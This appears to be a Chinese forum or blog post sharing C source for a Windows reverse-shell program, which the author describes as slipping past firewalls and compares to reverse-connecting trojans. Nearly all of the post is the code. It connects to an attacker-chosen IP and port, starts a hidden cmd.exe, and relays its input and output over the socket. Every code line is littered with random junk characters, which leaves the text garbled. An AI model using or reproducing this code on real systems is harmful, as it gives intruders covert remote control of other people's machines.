Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。
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/* ============================== !Ahxi);a  
Rebound port in Windows NT bTt1y
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By wind,2006/7 K /$-H#;N  
===============================*/ 82iFk`)T  
#include p\R&vof*  
#include x\oSD1t,  
us E%eF]  
#pragma comment(lib,"wsock32.lib") V8#NXUg<!  
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void OutputShell(); d(yTz&u)  
SOCKET sClient; A*g-pJh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y?$  
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void main(int argc,char **argv) {[
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{ _+.JTk  
WSADATA stWsaData; a7685Y  
int nRet; n(`|:h"  
SOCKADDR_IN stSaiClient,stSaiServer; .TCDv4?  
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if(argc != 3) 7Ie=(x8):  
{ TbaZFLr  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0*_E'0L8e  
return; |Sm/s;&c6  
} K?Sy?Kz  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9VanR ::XX  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p{}4#+-<#H  
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stSaiClient.sin_family = AF_INET; R1
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stSaiClient.sin_port = htons(0); 4Us_Z{.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s_a jA  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^,#
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printf("Bind Socket Failed!\n"); Le:(;:eL>t  
return; %pxO<O  
} #qh ,  

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stSaiServer.sin_family = AF_INET; o+B)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6i2%EC9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^5.XQ0n  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H]pI$t3~  
{ L,[Q{:CS  
printf("Connect Error!"); t&:L?K)j  
return; xM(H4.<  
} R(`:~@3\6  
OutputShell(); tAF?.\x"g  
} 8!rdqI  
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void OutputShell() 7/
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{ D:;idUO  
char szBuff[1024]; d 8DU[p  
SECURITY_ATTRIBUTES stSecurityAttributes; _$ivN!k  
OSVERSIONINFO stOsversionInfo; @phVfP"M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KWZhCS?[(  
STARTUPINFO stStartupInfo; qh:Bc$S  
char *szShell; }Nsdk',}  
PROCESS_INFORMATION stProcessInformation; +a3E=GJ  
unsigned long lBytesRead; v6s,lC5qR  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  C/IF~<B  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !:^q_q4  
stSecurityAttributes.lpSecurityDescriptor = 0; <;6{R#Tuh  
stSecurityAttributes.bInheritHandle = TRUE; \3$!)z  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r<uc
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [mA-s
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); } #rTUX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P[2!D)A  
stStartupInfo.wShowWindow = SW_HIDE; S^eem_
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stStartupInfo.hStdInput = hReadPipe; x,!Dd  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4|=>gdW)KN  
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GetVersionEx(&stOsversionInfo); Uj):}xgi'  
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switch(stOsversionInfo.dwPlatformId) V4n~Z+k  
{ `RL Wr,h  
case 1: zj1~[$  (  
szShell = "command.com"; tWIs |n  
break; v Y0bK-  
default: Dfs*~H63  
szShell = "cmd.exe"; <+_XGO
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break; 6ZqU:^3  
} ~U0%}Bbh  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eV[{c %wN:  
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send(sClient,szMsg,77,0); fp)SZu_*  
while(1) Mu
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{ BJj'91B[d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .a.HaBBV  
if(lBytesRead) [';o -c"!  
{ sbW+vc  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h>/teHy /  
send(sClient,szBuff,lBytesRead,0); 9/k2
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} jHFjd'  
else Lce,]z\_  
{ EYT^*1,E*  
lBytesRead=recv(sClient,szBuff,1024,0); 6g|,]{  
if(lBytesRead<=0) break; J,=K1>8s  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >C0B!MT?3%  
} 7Qd4L.  
} $*C }iJsF  
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return; 3:,%>#"  
}